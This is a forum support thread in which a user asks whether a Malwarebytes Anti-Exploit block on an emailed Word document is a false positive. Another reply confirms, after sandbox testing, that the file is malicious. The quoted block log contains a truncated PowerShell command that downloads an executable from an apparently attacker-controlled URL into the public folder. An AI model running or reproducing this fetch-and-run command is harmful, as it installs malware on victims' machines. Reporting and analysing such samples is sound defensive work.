Jump to content
sniderit

Malwarebytes Anti-Exploit is blocking Word documents from email

Recommended Posts

When trying to open a file in Word that I downloaded via email, I get a pop-up saying that Malwarebytes Anti-Exploit has blocked an exploit attempt.

Application: cmd

Protection Layer: Application Behavior Protection

Protection Technique: Exploit payload process blocked

File/Process Blocked: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $FPF=new-object Net.WebClient$uIo='http:\potuansdqwbe.com\YUY\huonasdh.php?l=dg3.tkn'.Split('@')$tWW = '39'$rsf=$env:public+'\'+$tWW+'.exe'foreach($srf in $uIo){try{$FPF.DownloadFile($sr

Attacking URL: N/A

 

I've attached the logs from the PC. I'm not sure if this is an actual threat or Anti-Exploit flagging things as false-positives. Any help would be appreciated.

Malwarebytes Anti-Exploit.zip

Share this post


Link to post
Share on other sites

Yes, I ran pulled it onto a test computer with Sandboxie after I read your post and it looks like it is full of bad stuff. I've notified all users and advised them to contact their own network admins. Thanks for responding!

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.